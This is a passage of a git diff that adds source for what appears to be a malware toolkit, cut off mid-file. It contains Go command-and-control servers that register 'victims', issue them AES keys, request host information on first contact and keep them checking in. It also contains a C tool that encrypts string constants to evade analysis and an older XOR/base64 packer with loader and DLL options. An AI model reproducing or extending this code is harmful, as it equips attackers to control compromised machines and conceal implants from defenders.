$(DESTDIR)/$(BIN) + +install: $(BIN)-install + +clean: + $(RM) -f $(BIN) $(DESTDIR)/$(BIN) + +.PHONY: all diff --git a/source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux b/source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux new file mode 160000 +Subproject d83b6ffe499a29cc05fc977988d039285177962 diff --git a/source/tools/host/go/cncmaster/http.go b/source/tools/host/go/cncmaster/http.go new file mode 100644 index 0000000..a9648ce --- /dev/null +++ b/source/tools/host/go/cncmaster/http.go @@ -0,0 +1,29 @@ +package main + +import ( + "github.com/gorilla/mux" + + "log" + "net/http" +) + + +func miller_http_handler(w http.ResponseWriter, r *http.Request) { + params := mux.Vars(r) + sid, ok := params["sid"] + if !ok { + return + } + marker, ok := params["marker"] + if !ok { + return + } + rnd, ok := params["rnd"] + if !ok { + return + } + + log.Printf("SID '%s' with MARKER '%s' and RND '%s'", sid, marker, rnd) + + w.Write([]byte("Hello!")) +} diff --git a/source/tools/host/go/cncmaster/main.go b/source/tools/host/go/cncmaster/main.go new file mode 100644 index 0000000..1845800 --- /dev/null +++ b/source/tools/host/go/cncmaster/main.go @@ -0,0 +1,31 @@ +package main + +import ( + "github.com/gorilla/mux" + + "log" + "net/http" +) + + +const verbose = true +const listen_tpl = "127.0.0.1:8081" + +func main() { + rtr := mux.NewRouter() + rtr.HandleFunc("/.miller_{sid:[a-zA-Z0-9]{32}}_{marker:[a-zA-Z0-9]{8}}_{rnd:[a-zA-Z0-9]{64}}", miller_http_handler).Methods("POST") + + http.Handle("/", rtr) + + log.Println("CNCMASTER: Listening on " + listen_tpl + "...") + http.ListenAndServe(listen_tpl, logRequest(http.DefaultServeMux)) +} + +func logRequest(handler http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if verbose { + log.Printf("%s %s %s\n", r.RemoteAddr, r.Method, r.URL) + } + handler.ServeHTTP(w, r) + }) +} diff --git a/source/tools/host/go/cncproxy/Makefile b/source/tools/host/go/cncproxy/Makefile new file mode 100644 index 0000000..44e3b32 --- /dev/null +++ b/source/tools/host/go/cncproxy/Makefile @@ -0,0 +1,42 @@ +GOCC ?= go +RM ?= rm +GOPATH := $(shell realpath ./deps) +INSTALL ?= install +DESTDIR ?= . +BIN := cncproxy +ifeq ($(strip $(GOARCH)),) +BIN := $(BIN)-host +else +BIN := $(BIN)-$(GOARCH)$(GOARM) +endif +SRCS := main.go manager.go http.go +DEP_CNCLIB := ../cnclib/miller_consts.go ../cnclib/miller_victim.go +DEP_MUX := deps/src/github.com/gorilla/mux/mux.go +DEP_PACKER := deps/src/github.com/zhuangsirui/binpacker/packer.go + +all: $(BIN) + +%.go: + +$(DEP_MUX): + GOPATH=$(GOPATH) $(GOCC) get -v -u github.com/gorilla/mux + +$(DEP_PACKER): + GOPATH=$(GOPATH) $(GOCC) get -v github.com/zhuangsirui/binpacker + +$(BIN): $(DEP_MUX) $(DEP_PACKER) $(DEP_CNCLIB) $(SRCS) +ifeq ($(strip $(IS_GCCGO)),) + GOPATH=$(GOPATH) $(GOCC) build -ldflags="-s -w" -o $(BIN) . +else + GOPATH=$(GOPATH) $(GOCC) build -gccgoflags="-s -w -pthread" -o $(BIN) . +endif + +$(BIN)-install: $(BIN) + $(INSTALL) -D $(BIN) $(DESTDIR)/$(BIN) + +install: $(BIN)-install + +clean: + $(RM) -f $(BIN) $(DESTDIR)/$(BIN) + +.PHONY: all diff --git a/source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux b/source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux new file mode 160000 +Subproject d83b6ffe499a29cc05fc977988d039285177962 diff --git a/source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker b/source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker new file mode 160000 +Subproject 08a1b297435a414bec3ccf4215ff546dba41815 diff --git a/source/tools/host/go/cncproxy/http.go b/source/tools/host/go/cncproxy/http.go new file mode 100644 index 0000000..8e82662 --- /dev/null +++ b/source/tools/host/go/cncproxy/http.go @@ -0,0 +1,224 @@ +package main + +import ( + "../cnclib" + "github.com/gorilla/mux" + + "fmt" + "log" + "io" + "net/http" + "encoding/binary" + "encoding/hex" + "crypto/rand" + "bytes" +) + + +func miller_to_master(v *miller.Victim, url *string) error { + _, err := v.ToJSON(false) + if err != nil { + return err + } + return nil +} + +func miller_http_request(v *miller.Victim, r *http.Request) (bool, error) { + var valid bool + var req miller.HttpResp + var err error + read_form, err := r.MultipartReader() + if err != nil { + return false, err + } + + for { + part, err := read_form.NextPart() + if err == io.EOF { + break + } + + if part.FormName() == "upload" { + buf := new(bytes.Buffer) + buf.ReadFrom(part) + if verbose { + log.Printf("Request (upload; %d bytes):\n%s", len(buf.String()), hex.Dump(buf.Bytes())) + } + err = v.ParseRequest(buf.Bytes(), &req) + if err != nil { + return false, err + } + if verbose { + log.Printf("HTTP REQUEST(%v)", &req) + } + valid = true + } + } + + if !valid { + return false, nil + } + return true, nil +} + +func miller_randbytes(n int) ([]byte, error) { + b := make([]byte, n) + _, err := rand.Read(b) + if err != nil { + return nil, err + } + + return b, nil +} + +func miller_state_machine(v *miller.Victim, marker *string) ([]byte, error) { + var err error + var buffer []byte + var resp miller.HttpResp + + err = miller.ParseMarkerResponse(&resp, []byte(*marker)) + if err != nil { + return nil, err + } + + log.Printf("Miller state machine got a '%s'", miller.RCtoString(v.Last_rc_rx)) + switch v.Last_rc_rx { + case miller.RC_REGISTER: + resp.RespFlags = miller.RF_OK + resp.RespCode = miller.RC_REGISTER + resp_reg, err := NewRegisterResponse(5, v) + if err != nil { + return nil, err + } + buffer, err = v.BuildRegisterResponse(&resp, resp_reg, buffer) + if err != nil { + return nil, err + } + if v.Last_rf_rx == miller.RF_INITIAL && v.Requests == 1 { + log.Printf("FIRST CONTACT: Grabbing some information !!") + resp.RespFlags = miller.RF_AGAIN + resp.RespCode = miller.RC_INFO + buffer, err = v.BuildInfoResponse(&resp, buffer) + } + break + case miller.RC_INFO: + resp.RespFlags = miller.RF_OK + resp.RespCode = miller.RC_PING + resp_pong := NewPongResponse(5) + buffer, err = v.BuildPongResponse(&resp, &resp_pong, buffer) + if err != nil { + return nil, err + } + break + case miller.RC_PING: + resp.RespFlags = miller.RF_OK + resp.RespCode = miller.RC_PING + resp_pong := NewPongResponse(5) + buffer, err = v.BuildPongResponse(&resp, &resp_pong, buffer) + if err != nil { + return nil, err + } + break + default: + return nil, fmt.Errorf("invalid response code 0x%04X", v.Last_rc_rx) + } + + return buffer, nil +} + +func miller_http_handler(w http.ResponseWriter, r *http.Request) { + params := mux.Vars(r) + sid, ok := params["sid"] + if !ok { + return + } + marker, ok := params["marker"] + if !ok { + return + } + rnd, ok := params["rnd"] + if !ok { + return + } + + fake_resp := miller.HttpResp{} + if r.ContentLength < int64(binary.Size(fake_resp)) { + log.Printf("Fake response has invalid size.") + http.NotFound(w, r) + return + } + + if verbose { + log.Printf("---------- %s ----------", "REQUEST") + } + log.Printf("SID '%s' with MARKER '%s' and RND '%s'", sid, marker, rnd) + + var err error + var v *miller.Victim + v = mgr.GetVictim(&sid) + if v == nil { + v = miller.NewVictim() + mgr.SetVictim(v, &sid) + } + if !mgr.PushVictim(&sid) { + log.Printf("ERROR Victim is already known to the Manager!") + http.NotFound(w, r) + return + } + + valid, err := miller_http_request(v, r) + if err != nil { + log.Printf("ERROR miller_http_request: '%s'", err) + } + if !valid { + log.Printf("ERROR Victim HTTP Request was invalid!") + http.NotFound(w, r) + return + } + + buffer, err := miller_state_machine(v, &marker) + if err != nil { + log.Printf("ERROR miller_state_machine: '%s'", err) + } + if buffer == nil { + log.Printf("ERROR binary buffer was empty after miller_state_machine") + http.NotFound(w, r) + return + } + + if v.Last_rc_rx == miller.RC_REGISTER && v.Requests > 1 { + log.Printf("WARNING: Victim '%s' RE-REGISTERED !!", sid) + } + + if verbose { + log.Printf("Response (%d bytes):\n%s", len(buffer), hex.Dump(buffer)) + log.Printf("VICTIM STATE(%s)", v) + json_out, err := v.ToJSON(true) + if err == nil { + log.Printf("VICTIM JSON(%s)", string(json_out)) + } + log.Printf("---------- %s ----------", "EoF REQUEST/RESPONSE") + } + + mgr.PopVictim(&sid) + + w.Write(buffer) +} + +func NewRegisterResponse(next_ping uint32, victim *miller.Victim) (*miller.RespRegister, error) { + respreg := miller.RespRegister{ [miller.AESKEY_SIZ]byte{}, next_ping } + aeskey, err := miller_randbytes(int(miller.KEY_256)) + if err != nil { + return nil, err + } + err = miller.ParseAESKeyResponse(&respreg, aeskey) + if err != nil { + return nil, err + } + victim.SetAESKey(aeskey) + return &respreg, nil +} + +func NewPongResponse(next_ping uint32) miller.RespPong { + return miller.RespPong{ next_ping } +} diff --git a/source/tools/host/go/cncproxy/main.go b/source/tools/host/go/cncproxy/main.go new file mode 100644 index 0000000..b5cc9ef --- /dev/null +++ b/source/tools/host/go/cncproxy/main.go @@ -0,0 +1,48 @@ +package main + +import ( + "github.com/gorilla/mux" + + "flag" + "log" + "net/http" +) + + +var mgr manager +var verbose bool + +const default_listen_tpl = "127.0.0.1:8080" +const default_master_tpl = "127.0.0.1:8081" +const default_verbose = false + + +func main() { + listen_tpl := flag.String("listen", default_listen_tpl, + "CNCProxy listen address.") + master_tpl := flag.String("master", default_master_tpl, + "CNCMaster connect address.") + verbose = *flag.Bool("verbose", default_verbose, + "CNCProxy verbose mode") + flag.Parse() + + mgr = NewManager() + rtr := mux.NewRouter() + /* /.miller_pahhj0099wjtu87vdgtl8fq8k4zmh0is_sbmkuj97_rg38n6bop9m5htrbeyyx0ljx26gbjxdx5nztp4a1wfowdsyyqnzts0r440logk91 */ + rtr.HandleFunc("/.miller_{sid:[a-zA-Z0-9]{32}}_{marker:[a-zA-Z0-9]{8}}_{rnd:[a-zA-Z0-9]{64}}", miller_http_handler).Methods("POST") + + http.Handle("/", rtr) + + log.Println("CNCProxy: Listening on " + *listen_tpl + "...") + log.Println("CNCProxy: Forwarding to CNCMaster at " + *master_tpl) + log.Fatal(http.ListenAndServe(*listen_tpl, logRequest(http.DefaultServeMux))) +} + +func logRequest(handler http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if verbose { + log.Printf("%s %s %s\n", r.RemoteAddr, r.Method, r.URL) + } + handler.ServeHTTP(w, r) + }) +} diff --git a/source/tools/host/go/cncproxy/manager.go b/source/tools/host/go/cncproxy/manager.go new file mode 100644 index 0000000..cd778be --- /dev/null +++ b/source/tools/host/go/cncproxy/manager.go @@ -0,0 +1,84 @@ +package main + +import ( + "../cnclib" + + "sync" +) + +type victim_data struct { + v *miller.Victim + in_use bool + lock sync.Mutex +} + +type manager struct { + victims map[string]victim_data + lock sync.Mutex +} + + +func NewManager() manager { + return manager{ make(map[string]victim_data), sync.Mutex{} } +} + +func (m *manager) SetVictim(v *miller.Victim, sid *string) { + m.lock.Lock() + defer m.lock.Unlock() + vd := victim_data{} + vd.v = v + m.victims[*sid] = vd +} + +func (m *manager) getVictim(sid *string) *victim_data { + m.lock.Lock() + defer m.lock.Unlock() + ret, ok := m.victims[*sid] + if ok { + return &ret + } + return nil +} + +func (m *manager) GetVictim(sid *string) *miller.Victim { + vd := m.getVictim(sid) + if vd == nil { + return nil + } + if !m.VictimInUse(sid) { + return vd.v + } + return nil +} + +func (m *manager) VictimInUse(sid *string) bool { + vd := m.getVictim(sid) + if vd == nil { + return false + } + vd.lock.Lock() + defer vd.lock.Unlock() + return vd.in_use +} + +func (m *manager) PushVictim(sid *string) bool { + if m.VictimInUse(sid) { + return false + } + vd := m.getVictim(sid) + vd.lock.Lock() + defer vd.lock.Unlock() + vd.in_use = true + return true +} + +func (m *manager) PopVictim(sid *string) bool { + if !m.VictimInUse(sid) { + return false + } + vd := m.getVictim(sid) + vd.lock.Lock() + defer vd.lock.Unlock() + vd.in_use = false + return true +} diff --git a/source/tools/host/hdr_crypt.c b/source/tools/host/hdr_crypt.c new file mode 100644 index 0000000..2461351 --- /dev/null +++ b/source/tools/host/hdr_crypt.c @@ -0,0 +1,417 @@ +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> +#include <string.h> +#include <ctype.h> +#include <time.h> + +#include "utils.h" +#include "crypt.h" +#include "aes.h" + +#define MAX_LINE 65535 + + +static aes_ctx_t* ctx = NULL; +static unsigned char aeskey[KEY_256]; +static uint32_t xorkey; +static unsigned xor_align = 4; + + +char* alignedCopyBuffer(char* orig, unsigned* orig_len, unsigned alignment) +{ + unsigned pad = *orig_len % alignment; + unsigned new_len = *orig_len + alignment - pad; + + char* out = calloc(new_len, sizeof(char)); + memcpy(out, orig, *orig_len); + + if (pad > 0) + out[*orig_len] = 0; + for (unsigned i = (*orig_len)+1; i < new_len; ++i) { + out[i] = (char)__rdtsc(); + } + *orig_len = new_len; + return out; +} + +enum defType { DT_DEFAULT, DT_SECTION, DT_ENDSECTION }; +struct defines { + struct defines* next; + enum defType dt; + char defName[0]; +}; +static struct defines* defs = NULL; + +void addDefineName(const char* line, enum defType type, struct defines** current) +{ + if (!current) return; + + const char* strb = strchr(line, ' '); + if (!strb) return; + + while (*(++strb) == ' ') {} + + char* stre = strchr(strb, ' '); + if (!stre) return; + + size_t len = stre - strb; + (*current)->next = calloc(sizeof(struct defines) + len + 1, 1); + (*current) = (*current)->next; + memcpy( &(*current)->defName[0], &strb[0], len ); + (*current)->dt = type; +} + +struct entOpts { + const char* fmt; + const char* com; + const char* ent; + const char* overw; +}; + +void writeOrAbort(const char* outbuf, int outsiz, FILE* outfile) +{ + size_t written = fwrite(outbuf, 1, outsiz, outfile); + if (written != outsiz) { + fprintf(stderr, "Error while writing \"%.*s\" to OUTPUT stream\n", (outsiz > 20 ? 20 : outsiz), outbuf); + abort(); + } +} + +int addStrEntry(FILE* outfile, const char* name, const struct defines* begin, const struct entOpts* opts, bool addSections) +{ + const char* name_section = NULL; + const struct defines* cur = begin; + while ( (cur = cur->next) ) { + char* outbuf = NULL; + int outsiz = 0; + + /* error checking */ + if (cur->dt == DT_SECTION && name_section && addSections) { + fprintf(stderr, "Found SECTION \"%s\" without ENDSECTION for \"%s\"\n", &cur->defName[0], name_section); + return 1; + } + if (cur->dt == DT_ENDSECTION && !name_section && addSections) { + fprintf(stderr, "Found ENDSECTION \"%s\" without ECTION for \"%s\"\n", &cur->defName[0], name_section); + return 2; + } + + /* prepare output buffer */ + if ((opts->fmt && cur->dt == DT_SECTION && !name_section) || (!name_section && !addSections)) { + /* SECTIONS: generate xor string entries as simple macro */ + + if (!addSections) { + name_section = "ROOT"; + const size_t flen = strlen(opts->fmt); + const size_t elen = strlen(opts->ent); + char* fmt = calloc(flen+elen+1, sizeof(char)); + strncpy(fmt, opts->fmt, flen); + strncpy(fmt+flen, opts->ent, elen); + outsiz = asprintf(&outbuf, fmt, opts->com, name, name_section, &cur->defName[0]); + free(fmt); + } else { + name_section = &cur->defName[0]; + outsiz = asprintf(&outbuf, opts->fmt, opts->com, name, name_section); + } + } else + if (opts->fmt && cur->dt == DT_ENDSECTION && name_section && addSections) { + name_section = NULL; + fseek(outfile, -4, SEEK_CUR); + writeOrAbort(opts->overw, strlen(opts->overw), outfile); + } else + if (name_section && cur->dt == DT_DEFAULT) { + outsiz = asprintf(&outbuf, opts->ent, &cur->defName[0]); + } + /* ignore section entries if user wants only root section entries */ + if (!addSections && cur->dt == DT_SECTION) { + while ( (cur = cur->next) && cur->dt != DT_ENDSECTION ) {} + } + + /* write output buffer */ + if (outsiz > 0) { + writeOrAbort(outbuf, outsiz, outfile); + free(outbuf); + } + } + fseek(outfile, -4, SEEK_CUR); + writeOrAbort(opts->overw, strlen(opts->overw), outfile); + + return 0; +} + +/* string struct defines for each section */ +static const char fmt_strsec[] = "%s\n#define %s_%s_STRINGS \\\n"; +static const char com_strsec[] = "\n\n/* for use in string struct */"; +static const char fmt_strent[] = " STRENT(%s), \\\n"; +/* replace last 4 bytes with newlines */ +static const char overw[] = "\n\n\n\n"; + +int addStrStructEntries(FILE* outfile, const char* name, const struct defines* begin, bool addSections) +{ + struct entOpts opts = {0}; + opts.fmt = fmt_strsec; + opts.com = com_strsec; + opts.ent = fmt_strent; + opts.overw = overw; + return addStrEntry(outfile, name, begin, &opts, addSections); +} + +/* string enum defines for each section */ +static const char fmt_enmsec[] = "%s\n#define %s_%s_ENUM \\\n"; +static const char com_enmsec[] = "\n\n/* for use in string enum */"; +static const char fmt_enment[] = " %s_ENUM, \\\n"; + +int addStrEnumEntries(FILE* outfile, const char* name, const struct defines* begin, bool addSections) +{ + struct entOpts opts = {0}; + opts.fmt = fmt_enmsec; + opts.com = com_enmsec; + opts.ent = fmt_enment; + opts.overw = overw; + return addStrEntry(outfile, name, begin, &opts, addSections); +} + +char* gencstr(unsigned char* buf, size_t siz) +{ + int i; + char* buf_str = (char*)calloc(1, 4*siz + 1); + char* buf_ptr = buf_str; + for (i = 0; i < siz; i++) + { + buf_ptr += sprintf(buf_ptr, "\\x%02X", buf[i]); + } + *(buf_ptr) = '\0'; + return buf_str; +} + +void genUnescapedBuf(char* buf, uint32_t* siz) +{ + int i; + size_t found = 0; + bool hasBackslash = false; + for (i = 0; i < *siz; i++) + { + unsigned char byte = 0x00; + + if (buf[i] == '\\') { + if (hasBackslash) { + memmove(&buf[i], &buf[i+1], (*siz)-i-1); + (*siz)--; + buf[(*siz)] = '\0'; + } + hasBackslash = !hasBackslash; + continue; + } + + if (hasBackslash && buf[i] == 'x') { + i++; + for (int j = i; j < i+2; j++) { + char cur = tolower(buf[j]); + unsigned char shifter = (j == i ? 4 : 0); + if (cur == '\0') break; + if (cur >= 48 && cur <= 57) { + byte |= (cur - 48) << shifter; + } else if (cur >= 97 && cur <= 102) { + byte |= (cur - 97 + 10) << shifter; + } + } + i += 2; + buf[i-4] = byte; + memmove(buf+i-3, buf+i, (*siz)-i); + i -= 4; + hasBackslash = false; + found++; + } else + if (hasBackslash) + hasBackslash = false; + } + *siz -= (found*3); +} + +int doSelfTest(void) +{ + int ret = 0; + + unsigned char __aeskey[KEY_256+1]; + memset(&__aeskey[0], '\0', sizeof(unsigned char)*(KEY_256+1)); + aes_randomkey(&__aeskey[0], KEY_256); + aes_ctx_t* __ctx = aes_alloc_ctx(&__aeskey[0], KEY_256); + + char __ptext[16] = "Attack at dawn!"; + char __ctext[16]; + char __decptext[16]; + aes_encrypt(__ctx, (unsigned char*)__ptext, (unsigned char*)__ctext); + aes_decrypt(__ctx, (unsigned char*)__ctext, (unsigned char*)__decptext); + if (strcmp(__ptext, __decptext) != 0) { + ret = 1; + goto selftest_fin; + } + + char __inbuf[] = "This is a short short short short short text, but bigger than 16 bytes ..."; + uint32_t __outlen = 0; + char* __outbuf = aes_crypt_s(__ctx, __inbuf, sizeof(__inbuf), &__outlen, true); + uint32_t __orglen = 0; + char* __orgbuf = aes_crypt_s(__ctx, __outbuf, __outlen, &__orglen, false); + + if (strcmp(__inbuf, __orgbuf) != 0) + ret = 1; + +selftest_fin: + free(__orgbuf); + free(__outbuf); + aes_free_ctx(__ctx); + return ret; +} + +int main(int argc, char** argv) +{ + aes_init(); + struct defines* cur = defs = calloc(sizeof(struct defines), 1); + int ret = -1; + if ( (ret = doSelfTest()) != 0) { + printf("%s: SelfTest failed with %d\n", argv[0], ret); + } + + if (argc != 5) { + printf("usage: %s [AES|XOR] [STRING.h] [CRYPTED.h] [KEYNAME-DEFINE]\n", argv[0]); + printf("e.g.: %s aes include/aes_strings.h include/aes_strings_gen.h AESKEY\n", argv[0]); + exit(EXIT_FAILURE); + } + + bool doAes; + if (strcasecmp(argv[1], "aes") == 0) { + doAes = true; + } else if (strcasecmp(argv[1], "xor") == 0) { + doAes = false; + } else { + printf("%s error: [AES|XOR] and not %s\n", argv[0], argv[1]); + exit(EXIT_FAILURE); + } + + char* cstr_key = NULL; + if (doAes) { + memset(&aeskey[0], '\0', sizeof(aeskey)); + aes_randomkey(&aeskey[0], sizeof(aeskey)); + + ctx = aes_alloc_ctx(&aeskey[0], sizeof(aeskey)); + cstr_key = gencstr(&aeskey[0], sizeof(aeskey)); + } else { + xorkey = xor32_randomkey(); + cstr_key = gencstr((unsigned char*)&xorkey, sizeof(xorkey)); + } + + FILE* infile = fopen(argv[2], "r"); + FILE* outfile = fopen(argv[3], "w+"); + if (!infile || !outfile) { + printf("%s: %s does not exist!\n", argv[0], (!infile ? argv[2] : argv[3])); + exit(EXIT_FAILURE); + } + + char* keydef = NULL; + char* keysizdef = NULL; + if (doAes) { + asprintf(&keydef, "#define %s \"", argv[4]); + fwrite(keydef, 1, strlen(keydef), outfile); + fwrite(cstr_key, 1, strlen(cstr_key), outfile); + fwrite("\"\n", 1, 2, outfile); + asprintf(&keysizdef, "#define %sSIZ %u\n", argv[4], (unsigned int)(sizeof(aeskey)/sizeof(aeskey[0]))); + fwrite(keysizdef, 1, strlen(keysizdef), outfile); + free(cstr_key); + } else { + asprintf(&keydef, "#define %s ", argv[4]); + char xorkeystr[12]; + snprintf(&xorkeystr[0], 11, "%u", xorkey); + xorkeystr[11] = '\0'; + fwrite(keydef, 1, strlen(keydef), outfile); + fwrite(&xorkeystr[0], 1, strlen(xorkeystr), outfile); + fwrite("\n", 1, 1, outfile); + asprintf(&keysizdef, "#define %sSIZ %u\n", argv[4], (unsigned int)sizeof(xorkey)); + fwrite(keysizdef, 1, strlen(keysizdef), outfile); + } + free(keysizdef); + keysizdef = NULL; + + char line[MAX_LINE]; + memset(&line[0], '\0', sizeof(line)); + while (fgets(line, sizeof(line), infile)) { + char* tmp = line; + char* enc = NULL; char* header = NULL; char* trailer = NULL; + uint32_t enclen = 0; + bool gotStr = false; + + if ( strstr(tmp, "#define") == tmp ) { + tmp += strlen("#define"); + if ( (tmp = strchr(tmp, '"')) ) { + tmp++; + header = tmp; + char* str = strchr(tmp, '"'); + if (str) { + trailer = str; + enclen = str-tmp; + enc = calloc(sizeof(char), enclen+1); + memcpy(enc, tmp, enclen); + genUnescapedBuf(enc, &enclen); + gotStr = true; + } + } + } else if ( strstr(tmp, "/*") ) { + if ( (tmp = strchr(tmp, ' ')) ) { + while (*(++tmp) == ' ') {} + size_t len = strlen(tmp); + if (strstr(tmp, "SECTION:") == tmp && + tmp[len-1] == '\n' && tmp[len-2] == '/' && + tmp[len-3] == '*' && tmp[len-4] == ' ') { + addDefineName(tmp, DT_SECTION, &cur); + } else if (strstr(tmp, "ENDSECTION") == tmp) { + addDefineName(tmp-1, DT_ENDSECTION, &cur); + } + } + } + + if (gotStr) { + uint32_t newsiz = 0; + char* out = NULL; + if (doAes) { + out = aes_crypt_s(ctx, enc, enclen, &newsiz, true); + } else { + out = alignedCopyBuffer(enc, &enclen, xor_align); + xor32_byte_crypt((unsigned char*)out, enclen, xorkey); + newsiz = enclen; + } + char* outcstr = gencstr((unsigned char*)out, newsiz); + + fwrite(&line[0], 1, header-&line[0], outfile); + fwrite(outcstr, 1, strlen(outcstr), outfile); + fwrite(trailer, 1, strlen(trailer), outfile); + addDefineName(&line[0], DT_DEFAULT, &cur); + + free(outcstr); + free(out); + free(enc); + } else { + fwrite(&line[0], 1, strlen(line), outfile); + } + + memset(&line[0], '\0', sizeof(line)); + } + + if (!doAes) { + if (addStrStructEntries(outfile, argv[4], defs, true) != 0) + exit(1); + if (addStrStructEntries(outfile, argv[4], defs, false) != 0) + exit(1); + if (addStrEnumEntries(outfile, argv[4], defs, true) != 0) + exit(1); + if (addStrEnumEntries(outfile, argv[4], defs, false) != 0) + exit(1); + } + + fclose(infile); + fclose(outfile); + + free(keydef); + if (doAes) { + aes_free_ctx(ctx); + } + exit(EXIT_SUCCESS); +} diff --git a/source/tools/host/old/file_crypt.c b/source/tools/host/old/file_crypt.c new file mode 100644 index 0000000..8548cfa --- /dev/null +++ b/source/tools/host/old/file_crypt.c @@ -0,0 +1,802 @@ +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#include <stdbool.h> +#include <string.h> +#include <time.h> +#include <getopt.h> +#include <errno.h> + +#include <sys/mman.h> +#include <ctype.h> + +#include "crypt.h" +#include "helper.h" +#include "loader.h" + + +static const char base64table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; +static const unsigned char loader_endmarker[] = { _LOADER_ENDMARKER }; + + +static void base64_block_encode(const char plain[3], char encoded[4]) +{ + unsigned char b0 = 0, b1 = 0, b2 = 0, b3 = 0; + + b0 = ((plain[0] & 0xFC) >> 2); + b1 = ((plain[1] & 0xF0) >> 4) | ((plain[0] & 0x03) << 4); + b2 = ((plain[1] & 0x0F) << 2) | ((plain[2] & 0xC0) >> 6); + b3 = ( plain[2] & 0x3F); + encoded[0] = base64table[b0]; + encoded[1] = base64table[b1]; + encoded[2] = base64table[b2]; + encoded[3] = base64table[b3]; +} + +static char* base64_encode(const char* plain, size_t siz, size_t* newsizptr) +{ + size_t padded = (siz % 3 == 0 ? 0 : 3 - (siz % 3)); + size_t newsiz = ( (siz + padded)/3 ) * 4; + char* tmp = calloc(newsiz, sizeof(char)); + + size_t i, j = 0; + for (i = 0; i < siz-(siz%3); i+=3) { + base64_block_encode(&plain[i], &tmp[j]); + j += 4; + } + + if (padded > 0) { + char pad[3] = { 0x00, 0x00, 0x00 }; + for (i = 0; i < 3-padded; ++i) { + pad[i] = plain[siz-(siz%3)+i]; + } + + base64_block_encode(&pad[0], &tmp[j]); + + for (i = 0; i < padded; ++i) { + tmp[j+3-i] = '='; + } + } + + if (newsizptr) + *newsizptr = newsiz; + return tmp; +} + +static inline int xor32_crypt(uint32_t u32, uint32_t key) +{ + return u32 ^ key; +} + +static uint32_t xor32_crypt_buf(uint32_t* buf, uint32_t siz, uint32_t key) +{ + uint32_t pad = siz % sizeof(key); + if (pad) { + siz += sizeof(key) - pad; + } + uint32_t msiz = (uint32_t)(siz/sizeof(key)); + + for (register uint32_t i = 0; i < msiz; ++i) { + buf[i] = xor32_crypt(buf[i], key); + } + return siz; +} + +static uint32_t xor32_pcbc_encrypt_buf(uint32_t* buf, uint32_t siz, uint32_t iv, uint32_t key) +{ + uint32_t pad = siz % sizeof(key); + if (pad) { + siz += sizeof(key) - pad; + } + uint32_t msiz = (uint32_t)(siz/sizeof(key)); + + register uint32_t prev = iv; + for (register uint32_t i = 0; i < msiz; ++i) { + register uint32_t plain = buf[i]; + register uint32_t tmp = xor32_crypt(plain, prev); + register uint32_t crypt = xor32_crypt(tmp, key); + prev = xor32_crypt(crypt, plain); + buf[i] = crypt; + } + return siz; +} + +static void xor32_pcbc_decrypt_buf(uint32_t* buf, uint32_t siz, uint32_t iv, uint32_t key) +{ + uint32_t msiz = (uint32_t)(siz/sizeof(key)); + + register uint32_t prev = iv; + for (register uint32_t i = 0; i < msiz; ++i) { + register uint32_t crypt = buf[i]; + register uint32_t tmp = xor32_crypt(crypt, key); + register uint32_t plain = xor32_crypt(tmp, prev); + prev = xor32_crypt(crypt, plain); + buf[i] = plain; + } +} + +static ssize_t search_endmarker(unsigned char* buf, size_t siz, size_t *found_ptr) +{ + size_t endmarker_siz = sizeof(loader_endmarker)/sizeof(loader_endmarker[0]); + size_t real_siz = (siz - (siz % endmarker_siz)); + size_t marker_idx = 0, found = 0; + ssize_t offset = -1; + + for (size_t i = 0; i < real_siz; ++i) { + if (buf[i] == loader_endmarker[marker_idx++]) { + if (marker_idx == endmarker_siz) { + offset = i - (endmarker_siz - 1); + marker_idx = 0; + found++; + } + } else marker_idx = 0; + } + if (found_ptr) + *found_ptr = found; + if (found != 1) { + return -1; + } + return offset; +} + +static unsigned char* parse_hex_str(const char* hex_str, size_t* newsiz) +{ + const char* pos = hex_str; + size_t len = strlen(hex_str); + + *newsiz = len/2; + unsigned char* bin = calloc(*newsiz, sizeof(char)); + size_t i = 0; + bool skip_next = false; + + while ( *pos != '\0' ) { + if (!skip_next) { + if (sscanf(pos, "%2hhx", &bin[i]) == 1) { + pos++; + if (tolower(*pos) != 'x') { + i++; + } + skip_next = true; + continue; + } + } else skip_next = false; + pos++; + } + *newsiz = i; + return bin; +} + +static void bswap32_endianess(unsigned char* bytebuf, size_t siz) +{ + if (siz % 4 != 0) { + return; + } + for (size_t i = 0; i < siz; i+=4) { + unsigned char highest_byte = bytebuf[i]; + unsigned char higher_byte = bytebuf[i+1]; + bytebuf[i] = bytebuf[i+3]; + bytebuf[i+1] = bytebuf[i+2]; + bytebuf[i+2] = higher_byte; + bytebuf[i+3] = highest_byte; + } +} + + +enum emode { E_NONE = 0, E_BASE64, E_XOR32, E_XOR32PCBC, E_XOR32NPCBC }; +enum dmode { D_NONE = 0, D_CRYPT_SZVA, D_CRYPT_SZIB, D_CRYPT_SECTION }; + +struct options { + bool verbose; + bool print_buffer; + enum emode encmode; + uint32_t ivkeysize; + char* outfile; + char* infile; + unsigned char* inkey; + size_t keysize; + unsigned char* iniv; + size_t ivsize; + bool ldrmod; + off_t ldroffset; + enum dmode crpmode; + char* ldr_dll; + off_t dlloffset; + size_t dllsize; + bool dryrun; +} app_options; + +static const struct option long_options[] = { + {"verbose", no_argument, 0, 'v'}, + {"print-buffer", no_argument, 0, 'p'}, + {"outfile", required_argument, 0, 'o'}, + {"xor32", no_argument, 0, 1 }, + {"xor32pcbc", no_argument, 0, 2 }, + {"xor32npcbc", no_argument, 0, 3 }, + {"ivkeysize", required_argument, 0, 'k'}, + {"base64", no_argument, 0, 4 }, + {"key", required_argument, 0, 'e'}, + {"iv", required_argument, 0, 'i'}, + {"loader-offset", required_argument, 0, 'l'}, + {"loader-va", no_argument, 0, 5 }, + {"loader-ib", no_argument, 0, 6 }, + {"dll-file", required_argument, 0, 'f'}, + {"dll-hdr", required_argument, 0, 